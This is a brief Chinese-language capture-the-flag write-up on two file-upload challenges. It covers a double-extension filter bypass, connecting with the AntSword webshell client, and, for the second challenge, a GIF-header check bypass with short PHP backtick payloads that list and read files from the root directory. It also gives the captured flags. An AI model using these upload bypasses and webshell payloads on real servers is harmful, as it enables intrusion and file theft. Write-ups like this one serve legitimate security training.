文件上传练习

[UUCTF 2022 新生赛]ez_upload

测试发现没有对双后缀过滤，如何将文件改为php.php.php

然后利用蚂剑连接成功，发现flag在根目录

NSSCTF{This_is_start_web_D0g}

[FSCTF 2023]是兄弟，就来传你の🐎！

这个题目过滤掉了php，以及需要检查文件里面的内容，起初尝试 ，然后发现回显显示太长了。

最后网上搜索发现需要利用gif来进行文件校验，然后利用最短的执行命令行

<?=`ls /`;
<?=`nl /*`;
<?=`cat /*;`

然后访问对应的目录得到flag

NSSCTF{a887e009-0d03-4c83-9a95-045799c44ddb}